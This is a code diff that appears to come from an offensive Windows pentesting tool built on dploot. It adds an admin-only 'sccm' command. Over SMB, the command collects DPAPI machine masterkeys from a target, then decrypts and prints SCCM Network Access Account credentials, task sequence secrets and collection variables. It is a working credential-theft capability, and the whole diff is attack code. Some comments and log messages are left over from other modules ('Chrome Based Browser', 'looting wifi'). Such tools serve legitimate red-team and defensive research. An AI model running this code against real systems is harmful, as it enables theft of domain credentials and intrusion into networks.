|
55 | 55 | from dploot.triage.backupkey import BackupkeyTriage |
56 | 56 | from dploot.lib.target import Target |
57 | 57 | from dploot.lib.smb import DPLootSMBConnection |
| 58 | +from dploot.triage.sccm import SCCMTriage, SCCMCollection, SCCMCred, SCCMSecret |
58 | 59 |
|
59 | 60 | from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup |
60 | 61 |
|
@@ -1325,6 +1326,66 @@ def add_sam_hash(sam_hash, host_id): |
1325 | 1326 | except Exception as e: |
1326 | 1327 | self.logger.exception(str(e)) |
1327 | 1328 |
|
| 1329 | + @requires_admin |
| 1330 | + def sccm(self): |
| 1331 | + logging.getLogger("dploot").disabled = True |
| 1332 | + masterkeys = [] |
| 1333 | + if self.args.mkfile is not None: |
| 1334 | + try: |
| 1335 | + masterkeys += parse_masterkey_file(self.args.mkfile) |
| 1336 | + except Exception as e: |
| 1337 | + self.logger.fail(str(e)) |
| 1338 | + |
| 1339 | + target = Target.create( |
| 1340 | + domain=self.domain, |
| 1341 | + username=self.username, |
| 1342 | + password=self.password, |
| 1343 | + target=self.hostname + "." + self.domain if self.kerberos else self.host, |
| 1344 | + lmhash=self.lmhash, |
| 1345 | + nthash=self.nthash, |
| 1346 | + do_kerberos=self.kerberos, |
| 1347 | + aesKey=self.aesKey, |
| 1348 | + no_pass=True, |
| 1349 | + use_kcache=self.use_kcache, |
| 1350 | + ) |
| 1351 | + |
| 1352 | + try: |
| 1353 | + conn = DPLootSMBConnection(target) |
| 1354 | + conn.smb_session = self.conn |
| 1355 | + except Exception as e: |
| 1356 | + self.logger.debug(f"Could not upgrade connection: {e}") |
| 1357 | + return |
| 1358 | + |
| 1359 | + try: |
| 1360 | + self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...") |
| 1361 | + masterkeys_triage = MasterkeysTriage( |
| 1362 | + target=target, |
| 1363 | + conn=conn, |
| 1364 | + pvkbytes=self.pvkbytes, |
| 1365 | + ) |
| 1366 | + masterkeys += masterkeys_triage.triage_system_masterkeys() |
| 1367 | + except Exception as e: |
| 1368 | + self.logger.debug(f"Could not get masterkeys: {e}") |
| 1369 | + |
| 1370 | + if len(masterkeys) == 0: |
| 1371 | + self.logger.fail("No masterkeys looted") |
| 1372 | + return |
| 1373 | + |
| 1374 | + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials") |
| 1375 | + try: |
| 1376 | + # Collect Chrome Based Browser stored secrets |
| 1377 | + sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys) |
| 1378 | + sccm_creds = sccm_triage.triage_sccm() |
| 1379 | + for credential in sccm_creds: |
| 1380 | + if isinstance(credential, SCCMCred): |
| 1381 | + self.logger.highlight(f"[NAA Account] {credential.username.decode('latin-1')}:{credential.password.decode('latin-1')}") |
| 1382 | + elif isinstance(credential, SCCMSecret): |
| 1383 | + self.logger.highlight(f"[Task sequences secret] {credential.secret.decode('latin-1')}") |
| 1384 | + elif isinstance(credential, SCCMCollection): |
| 1385 | + self.logger.highlight(f"[Collection Variable] {credential.variable.decode('latin-1')}:{credential.value.decode('latin-1')}") |
| 1386 | + except Exception as e: |
| 1387 | + self.logger.debug(f"Error while looting wifi: {e}") |
| 1388 | + |
1328 | 1389 | @requires_admin |
1329 | 1390 | def dpapi(self): |
1330 | 1391 | dump_system = "nosystem" not in self.args.dpapi |
|
0 commit comments